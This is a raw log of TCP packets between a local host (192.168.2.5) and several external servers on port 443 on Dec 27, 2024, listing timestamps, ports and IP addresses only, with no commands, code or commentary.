Dec 27, 2024 08:20:50.245953083 CET	49902	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:50.245960951 CET	443	49902	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:50.245979071 CET	49902	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:50.246020079 CET	443	49902	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:50.246051073 CET	49902	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:50.246063948 CET	443	49902	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:50.246120930 CET	49902	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:50.246130943 CET	443	49902	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:50.246239901 CET	49902	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:50.246253967 CET	443	49902	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:50.246292114 CET	49902	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:50.246366978 CET	49902	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:50.246402025 CET	49902	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:50.246454000 CET	49902	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:50.246490955 CET	49902	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:50.246530056 CET	49902	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:50.246573925 CET	49902	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:50.246587992 CET	49902	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:50.246611118 CET	49902	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:50.246669054 CET	49902	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:50.263243914 CET	443	49902	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:50.263825893 CET	49902	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:50.263856888 CET	443	49902	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:50.264055014 CET	49902	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:50.264069080 CET	443	49902	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:50.264106989 CET	49902	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:50.264118910 CET	443	49902	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:50.264260054 CET	49902	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:50.264272928 CET	443	49902	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:50.264341116 CET	49902	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:50.264352083 CET	443	49902	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:50.264373064 CET	49902	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:50.264385939 CET	443	49902	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:50.264415026 CET	49902	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:50.264425993 CET	443	49902	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:50.264472008 CET	49902	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:50.264710903 CET	49902	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:50.264750004 CET	49902	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:50.264772892 CET	49902	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:50.264786959 CET	49902	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:50.264822960 CET	49902	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:50.264856100 CET	49902	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:50.264894009 CET	49902	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:50.264930964 CET	49902	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:50.264975071 CET	49902	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:50.311326981 CET	443	49902	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:50.311753988 CET	49902	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:50.311789036 CET	49902	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:50.311870098 CET	49902	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:50.311917067 CET	49902	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:50.311961889 CET	49902	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:50.312007904 CET	49902	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:50.312056065 CET	49902	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:50.312092066 CET	49902	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:50.312143087 CET	49902	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:50.359327078 CET	443	49902	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:50.359756947 CET	49902	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:50.359818935 CET	49902	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:50.359854937 CET	49902	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:50.359913111 CET	49902	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:50.360079050 CET	49902	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:50.360126972 CET	49902	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:50.360177994 CET	49902	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:50.360213041 CET	49902	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:50.360259056 CET	49902	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:50.394109011 CET	443	49902	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:50.395757914 CET	49902	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:50.395781040 CET	443	49902	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:50.395848036 CET	49902	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:50.395901918 CET	49902	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:50.395946026 CET	49902	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:50.395996094 CET	49902	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:50.396004915 CET	49902	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:50.396025896 CET	49902	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:50.396059036 CET	49902	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:50.396091938 CET	49902	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:50.396137953 CET	49902	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:50.396183968 CET	49902	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:50.443325996 CET	443	49902	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:50.449253082 CET	49902	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:50.449315071 CET	49902	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:50.449343920 CET	49902	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:50.478216887 CET	443	49902	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:50.574136972 CET	49919	443	192.168.2.5	20.110.205.119
Dec 27, 2024 08:20:50.574188948 CET	443	49919	20.110.205.119	192.168.2.5
Dec 27, 2024 08:20:50.574266911 CET	49919	443	192.168.2.5	20.110.205.119
Dec 27, 2024 08:20:50.574476957 CET	49919	443	192.168.2.5	20.110.205.119
Dec 27, 2024 08:20:50.574495077 CET	443	49919	20.110.205.119	192.168.2.5
Dec 27, 2024 08:20:51.265047073 CET	443	49913	18.238.49.124	192.168.2.5
Dec 27, 2024 08:20:51.265490055 CET	49913	443	192.168.2.5	18.238.49.124
Dec 27, 2024 08:20:51.265507936 CET	443	49913	18.238.49.124	192.168.2.5
Dec 27, 2024 08:20:51.265847921 CET	443	49913	18.238.49.124	192.168.2.5
Dec 27, 2024 08:20:51.266237974 CET	49913	443	192.168.2.5	18.238.49.124
Dec 27, 2024 08:20:51.266299009 CET	443	49913	18.238.49.124	192.168.2.5
Dec 27, 2024 08:20:51.266438961 CET	443	49911	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:51.266510010 CET	49911	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:51.266736031 CET	49913	443	192.168.2.5	18.238.49.124
Dec 27, 2024 08:20:51.267941952 CET	49911	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:51.267949104 CET	443	49911	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:51.270806074 CET	49911	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:51.270813942 CET	443	49911	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:51.291810036 CET	49922	443	192.168.2.5	23.44.201.28
Dec 27, 2024 08:20:51.291850090 CET	443	49922	23.44.201.28	192.168.2.5
Dec 27, 2024 08:20:51.292094946 CET	49922	443	192.168.2.5	23.44.201.28
Dec 27, 2024 08:20:51.292431116 CET	49923	443	192.168.2.5	23.44.201.28
Dec 27, 2024 08:20:51.292474031 CET	443	49923	23.44.201.28	192.168.2.5
Dec 27, 2024 08:20:51.292690039 CET	49922	443	192.168.2.5	23.44.201.28
Dec 27, 2024 08:20:51.292700052 CET	49923	443	192.168.2.5	23.44.201.28
Dec 27, 2024 08:20:51.292705059 CET	443	49922	23.44.201.28	192.168.2.5
Dec 27, 2024 08:20:51.293260098 CET	49923	443	192.168.2.5	23.44.201.28
Dec 27, 2024 08:20:51.293271065 CET	443	49923	23.44.201.28	192.168.2.5
Dec 27, 2024 08:20:51.295983076 CET	49924	443	192.168.2.5	204.79.197.219
Dec 27, 2024 08:20:51.296015978 CET	443	49924	204.79.197.219	192.168.2.5
Dec 27, 2024 08:20:51.296255112 CET	49924	443	192.168.2.5	204.79.197.219
Dec 27, 2024 08:20:51.296330929 CET	49925	443	192.168.2.5	204.79.197.219
Dec 27, 2024 08:20:51.296361923 CET	443	49925	204.79.197.219	192.168.2.5
Dec 27, 2024 08:20:51.296545029 CET	49924	443	192.168.2.5	204.79.197.219
Dec 27, 2024 08:20:51.296551943 CET	49925	443	192.168.2.5	204.79.197.219
Dec 27, 2024 08:20:51.296560049 CET	443	49924	204.79.197.219	192.168.2.5
Dec 27, 2024 08:20:51.296792984 CET	49925	443	192.168.2.5	204.79.197.219
Dec 27, 2024 08:20:51.296808958 CET	443	49925	204.79.197.219	192.168.2.5
Dec 27, 2024 08:20:51.311328888 CET	443	49913	18.238.49.124	192.168.2.5
Dec 27, 2024 08:20:51.374701023 CET	443	49910	52.168.117.170	192.168.2.5
Dec 27, 2024 08:20:51.375061035 CET	49910	443	192.168.2.5	52.168.117.170
Dec 27, 2024 08:20:51.375067949 CET	443	49910	52.168.117.170	192.168.2.5
Dec 27, 2024 08:20:51.376450062 CET	443	49910	52.168.117.170	192.168.2.5
Dec 27, 2024 08:20:51.376545906 CET	49910	443	192.168.2.5	52.168.117.170
Dec 27, 2024 08:20:51.379224062 CET	49910	443	192.168.2.5	52.168.117.170
Dec 27, 2024 08:20:51.379287958 CET	443	49910	52.168.117.170	192.168.2.5
Dec 27, 2024 08:20:51.379338980 CET	49910	443	192.168.2.5	52.168.117.170
Dec 27, 2024 08:20:51.379338980 CET	49910	443	192.168.2.5	52.168.117.170
Dec 27, 2024 08:20:51.379358053 CET	443	49910	52.168.117.170	192.168.2.5
Dec 27, 2024 08:20:51.428472042 CET	49910	443	192.168.2.5	52.168.117.170
Dec 27, 2024 08:20:51.428478956 CET	443	49910	52.168.117.170	192.168.2.5
Dec 27, 2024 08:20:51.470568895 CET	49910	443	192.168.2.5	52.168.117.170
Dec 27, 2024 08:20:51.711503029 CET	443	49913	18.238.49.124	192.168.2.5
Dec 27, 2024 08:20:51.711575985 CET	443	49913	18.238.49.124	192.168.2.5
Dec 27, 2024 08:20:51.711730003 CET	49913	443	192.168.2.5	18.238.49.124
Dec 27, 2024 08:20:51.712380886 CET	49913	443	192.168.2.5	18.238.49.124
Dec 27, 2024 08:20:51.712395906 CET	443	49913	18.238.49.124	192.168.2.5
Dec 27, 2024 08:20:51.712423086 CET	49913	443	192.168.2.5	18.238.49.124
Dec 27, 2024 08:20:51.713042974 CET	49913	443	192.168.2.5	18.238.49.124
Dec 27, 2024 08:20:51.827634096 CET	443	49910	52.168.117.170	192.168.2.5
Dec 27, 2024 08:20:51.827740908 CET	443	49910	52.168.117.170	192.168.2.5
Dec 27, 2024 08:20:51.827833891 CET	49910	443	192.168.2.5	52.168.117.170
Dec 27, 2024 08:20:51.828280926 CET	49910	443	192.168.2.5	52.168.117.170
Dec 27, 2024 08:20:51.828291893 CET	443	49910	52.168.117.170	192.168.2.5
Dec 27, 2024 08:20:52.166174889 CET	443	49911	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:52.166193008 CET	443	49911	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:52.166250944 CET	49911	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:52.166253090 CET	443	49911	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:52.166317940 CET	49911	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:52.166790009 CET	49911	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:52.166806936 CET	443	49911	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:52.170017958 CET	49930	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:52.170057058 CET	443	49930	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:52.170161009 CET	49930	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:52.170439959 CET	49930	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:52.170454979 CET	443	49930	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:52.182809114 CET	443	49919	20.110.205.119	192.168.2.5
Dec 27, 2024 08:20:52.183271885 CET	49919	443	192.168.2.5	20.110.205.119
Dec 27, 2024 08:20:52.183299065 CET	443	49919	20.110.205.119	192.168.2.5
Dec 27, 2024 08:20:52.183674097 CET	443	49919	20.110.205.119	192.168.2.5
Dec 27, 2024 08:20:52.184223890 CET	49919	443	192.168.2.5	20.110.205.119
Dec 27, 2024 08:20:52.184299946 CET	443	49919	20.110.205.119	192.168.2.5
Dec 27, 2024 08:20:52.184412003 CET	49919	443	192.168.2.5	20.110.205.119
Dec 27, 2024 08:20:52.231329918 CET	443	49919	20.110.205.119	192.168.2.5
Dec 27, 2024 08:20:52.547355890 CET	443	49923	23.44.201.28	192.168.2.5
Dec 27, 2024 08:20:52.547718048 CET	443	49922	23.44.201.28	192.168.2.5
Dec 27, 2024 08:20:52.596765041 CET	49923	443	192.168.2.5	23.44.201.28
Dec 27, 2024 08:20:52.596769094 CET	49922	443	192.168.2.5	23.44.201.28
Dec 27, 2024 08:20:52.612103939 CET	49922	443	192.168.2.5	23.44.201.28
Dec 27, 2024 08:20:52.612117052 CET	443	49922	23.44.201.28	192.168.2.5
Dec 27, 2024 08:20:52.612706900 CET	49923	443	192.168.2.5	23.44.201.28
Dec 27, 2024 08:20:52.612711906 CET	443	49923	23.44.201.28	192.168.2.5
Dec 27, 2024 08:20:52.613142014 CET	443	49922	23.44.201.28	192.168.2.5
Dec 27, 2024 08:20:52.613209963 CET	49922	443	192.168.2.5	23.44.201.28
Dec 27, 2024 08:20:52.614332914 CET	443	49923	23.44.201.28	192.168.2.5
Dec 27, 2024 08:20:52.614413977 CET	49923	443	192.168.2.5	23.44.201.28
Dec 27, 2024 08:20:52.637805939 CET	443	49919	20.110.205.119	192.168.2.5
Dec 27, 2024 08:20:52.637900114 CET	443	49919	20.110.205.119	192.168.2.5
Dec 27, 2024 08:20:52.637969017 CET	49919	443	192.168.2.5	20.110.205.119
Dec 27, 2024 08:20:52.643012047 CET	49922	443	192.168.2.5	23.44.201.28
Dec 27, 2024 08:20:52.643136978 CET	443	49922	23.44.201.28	192.168.2.5
Dec 27, 2024 08:20:52.647247076 CET	49923	443	192.168.2.5	23.44.201.28
Dec 27, 2024 08:20:52.647420883 CET	443	49923	23.44.201.28	192.168.2.5
Dec 27, 2024 08:20:52.678759098 CET	49919	443	192.168.2.5	20.110.205.119
Dec 27, 2024 08:20:52.678775072 CET	443	49919	20.110.205.119	192.168.2.5
Dec 27, 2024 08:20:52.690502882 CET	49923	443	192.168.2.5	23.44.201.28
Dec 27, 2024 08:20:52.690510988 CET	443	49923	23.44.201.28	192.168.2.5
Dec 27, 2024 08:20:52.690546036 CET	49922	443	192.168.2.5	23.44.201.28
Dec 27, 2024 08:20:52.690566063 CET	443	49922	23.44.201.28	192.168.2.5
Dec 27, 2024 08:20:52.736526966 CET	49922	443	192.168.2.5	23.44.201.28
Dec 27, 2024 08:20:52.736790895 CET	49923	443	192.168.2.5	23.44.201.28
Dec 27, 2024 08:20:52.836498976 CET	443	49924	204.79.197.219	192.168.2.5
Dec 27, 2024 08:20:52.836852074 CET	49924	443	192.168.2.5	204.79.197.219
Dec 27, 2024 08:20:52.836882114 CET	443	49924	204.79.197.219	192.168.2.5
Dec 27, 2024 08:20:52.838571072 CET	443	49924	204.79.197.219	192.168.2.5
Dec 27, 2024 08:20:52.838654995 CET	49924	443	192.168.2.5	204.79.197.219
Dec 27, 2024 08:20:52.839898109 CET	49924	443	192.168.2.5	204.79.197.219
Dec 27, 2024 08:20:52.839982033 CET	443	49924	204.79.197.219	192.168.2.5
Dec 27, 2024 08:20:52.880150080 CET	49924	443	192.168.2.5	204.79.197.219
Dec 27, 2024 08:20:52.880168915 CET	443	49924	204.79.197.219	192.168.2.5
Dec 27, 2024 08:20:52.890475035 CET	443	49925	204.79.197.219	192.168.2.5
Dec 27, 2024 08:20:52.890856981 CET	49925	443	192.168.2.5	204.79.197.219
Dec 27, 2024 08:20:52.890867949 CET	443	49925	204.79.197.219	192.168.2.5
Dec 27, 2024 08:20:52.894458055 CET	443	49925	204.79.197.219	192.168.2.5
Dec 27, 2024 08:20:52.894527912 CET	49925	443	192.168.2.5	204.79.197.219
Dec 27, 2024 08:20:52.894920111 CET	49925	443	192.168.2.5	204.79.197.219
Dec 27, 2024 08:20:52.895106077 CET	443	49925	204.79.197.219	192.168.2.5
Dec 27, 2024 08:20:52.923754930 CET	49924	443	192.168.2.5	204.79.197.219
Dec 27, 2024 08:20:52.939771891 CET	49925	443	192.168.2.5	204.79.197.219
Dec 27, 2024 08:20:52.939784050 CET	443	49925	204.79.197.219	192.168.2.5
Dec 27, 2024 08:20:52.985117912 CET	49925	443	192.168.2.5	204.79.197.219
Dec 27, 2024 08:20:53.564073086 CET	49769	443	192.168.2.5	23.1.237.91
Dec 27, 2024 08:20:53.564090967 CET	443	49769	23.1.237.91	192.168.2.5
Dec 27, 2024 08:20:53.566049099 CET	49936	443	192.168.2.5	23.1.237.91
Dec 27, 2024 08:20:53.566108942 CET	443	49936	23.1.237.91	192.168.2.5
Dec 27, 2024 08:20:53.566203117 CET	49936	443	192.168.2.5	23.1.237.91
Dec 27, 2024 08:20:53.566629887 CET	49936	443	192.168.2.5	23.1.237.91
Dec 27, 2024 08:20:53.566709995 CET	443	49936	23.1.237.91	192.168.2.5
Dec 27, 2024 08:20:53.566893101 CET	49936	443	192.168.2.5	23.1.237.91
Dec 27, 2024 08:20:53.667187929 CET	443	49930	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:53.667264938 CET	49930	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:53.667876005 CET	49930	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:53.667886972 CET	443	49930	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:53.669786930 CET	49930	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:53.669794083 CET	443	49930	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:54.598633051 CET	443	49930	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:54.598685980 CET	443	49930	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:54.598711967 CET	49930	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:54.598768950 CET	443	49930	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:54.598784924 CET	49930	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:54.598830938 CET	443	49930	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:54.598865032 CET	49930	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:54.598882914 CET	49930	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:54.599208117 CET	49930	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:54.599226952 CET	443	49930	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:54.615993977 CET	49940	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:54.616049051 CET	443	49940	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:54.616218090 CET	49940	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:54.616580009 CET	49940	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:54.616595984 CET	443	49940	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:55.674206018 CET	49941	443	192.168.2.5	52.168.117.170
Dec 27, 2024 08:20:55.674263000 CET	443	49941	52.168.117.170	192.168.2.5
Dec 27, 2024 08:20:55.674356937 CET	49941	443	192.168.2.5	52.168.117.170
Dec 27, 2024 08:20:55.675116062 CET	49941	443	192.168.2.5	52.168.117.170
Dec 27, 2024 08:20:55.675132990 CET	443	49941	52.168.117.170	192.168.2.5
Dec 27, 2024 08:20:55.678123951 CET	49942	443	192.168.2.5	52.168.117.170
Dec 27, 2024 08:20:55.678165913 CET	443	49942	52.168.117.170	192.168.2.5
Dec 27, 2024 08:20:55.678222895 CET	49942	443	192.168.2.5	52.168.117.170
Dec 27, 2024 08:20:55.678493023 CET	49942	443	192.168.2.5	52.168.117.170
Dec 27, 2024 08:20:55.678513050 CET	443	49942	52.168.117.170	192.168.2.5
Dec 27, 2024 08:20:56.106004953 CET	443	49940	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:56.106765032 CET	49940	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:56.112564087 CET	49940	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:56.112576962 CET	443	49940	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:56.115335941 CET	49940	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:56.115343094 CET	443	49940	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:56.115572929 CET	49940	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:56.115578890 CET	443	49940	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:56.273406029 CET	443	49837	162.159.61.3	192.168.2.5
Dec 27, 2024 08:20:56.273472071 CET	443	49837	162.159.61.3	192.168.2.5
Dec 27, 2024 08:20:56.273519039 CET	49837	443	192.168.2.5	162.159.61.3
Dec 27, 2024 08:20:56.274946928 CET	443	49836	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:56.275017023 CET	443	49836	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:56.275077105 CET	49836	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:56.475217104 CET	443	49842	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:56.475285053 CET	443	49842	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:56.475364923 CET	443	49841	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:56.475413084 CET	49842	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:56.475523949 CET	443	49841	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:56.475673914 CET	49841	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:56.543349028 CET	443	49844	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:56.543418884 CET	443	49844	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:56.543482065 CET	49844	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:56.543890953 CET	443	49846	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:56.543939114 CET	443	49846	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:56.544209003 CET	49846	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:56.547211885 CET	49836	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:56.547240019 CET	443	49836	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:56.547269106 CET	49844	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:56.547275066 CET	443	49844	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:56.547328949 CET	49846	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:56.547333002 CET	443	49846	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:56.547734022 CET	49948	443	192.168.2.5	52.168.117.170
Dec 27, 2024 08:20:56.547743082 CET	443	49948	52.168.117.170	192.168.2.5
Dec 27, 2024 08:20:56.547811985 CET	49948	443	192.168.2.5	52.168.117.170
Dec 27, 2024 08:20:56.548266888 CET	49948	443	192.168.2.5	52.168.117.170
Dec 27, 2024 08:20:56.548275948 CET	443	49948	52.168.117.170	192.168.2.5
Dec 27, 2024 08:20:56.578254938 CET	443	49845	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:56.578315020 CET	443	49845	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:56.578499079 CET	49845	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:56.579108953 CET	443	49847	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:56.579166889 CET	443	49847	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:56.579303026 CET	49847	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:56.669090033 CET	49847	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:56.669138908 CET	443	49847	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:56.669153929 CET	49845	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:56.669166088 CET	443	49845	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:56.669725895 CET	49949	443	192.168.2.5	52.168.117.170
Dec 27, 2024 08:20:56.669769049 CET	443	49949	52.168.117.170	192.168.2.5
Dec 27, 2024 08:20:56.669857979 CET	49949	443	192.168.2.5	52.168.117.170
Dec 27, 2024 08:20:56.670207024 CET	49949	443	192.168.2.5	52.168.117.170
Dec 27, 2024 08:20:56.670223951 CET	443	49949	52.168.117.170	192.168.2.5
Dec 27, 2024 08:20:56.789068937 CET	443	49902	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:56.789159060 CET	443	49902	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:56.789236069 CET	49902	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:56.790256977 CET	49902	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:56.790275097 CET	443	49902	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:56.838737011 CET	443	49848	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:56.838815928 CET	443	49848	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:56.838937998 CET	49848	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:57.198200941 CET	443	49940	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:57.198283911 CET	49940	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:57.198292017 CET	443	49940	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:57.198506117 CET	49940	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:57.199750900 CET	49940	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:57.199769974 CET	443	49940	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:57.464993000 CET	443	49942	52.168.117.170	192.168.2.5
Dec 27, 2024 08:20:57.465327024 CET	49942	443	192.168.2.5	52.168.117.170
Dec 27, 2024 08:20:57.465337992 CET	443	49942	52.168.117.170	192.168.2.5
Dec 27, 2024 08:20:57.465826035 CET	443	49942	52.168.117.170	192.168.2.5
Dec 27, 2024 08:20:57.466165066 CET	49942	443	192.168.2.5	52.168.117.170
Dec 27, 2024 08:20:57.466253996 CET	443	49942	52.168.117.170	192.168.2.5
Dec 27, 2024 08:20:57.466370106 CET	49942	443	192.168.2.5	52.168.117.170
Dec 27, 2024 08:20:57.466429949 CET	49942	443	192.168.2.5	52.168.117.170
Dec 27, 2024 08:20:57.466464043 CET	443	49942	52.168.117.170	192.168.2.5
Dec 27, 2024 08:20:57.735867023 CET	443	49941	52.168.117.170	192.168.2.5
Dec 27, 2024 08:20:57.736181974 CET	49941	443	192.168.2.5	52.168.117.170
Dec 27, 2024 08:20:57.736187935 CET	443	49941	52.168.117.170	192.168.2.5
Dec 27, 2024 08:20:57.736743927 CET	443	49941	52.168.117.170	192.168.2.5
Dec 27, 2024 08:20:57.737112999 CET	49941	443	192.168.2.5	52.168.117.170
Dec 27, 2024 08:20:57.737176895 CET	443	49941	52.168.117.170	192.168.2.5
Dec 27, 2024 08:20:57.737391949 CET	49941	443	192.168.2.5	52.168.117.170
Dec 27, 2024 08:20:57.737500906 CET	49941	443	192.168.2.5	52.168.117.170
Dec 27, 2024 08:20:57.737525940 CET	443	49941	52.168.117.170	192.168.2.5
Dec 27, 2024 08:20:57.739556074 CET	49950	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:57.739578962 CET	443	49950	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:57.739672899 CET	49950	443	192.168.2.5	188.245.216.205
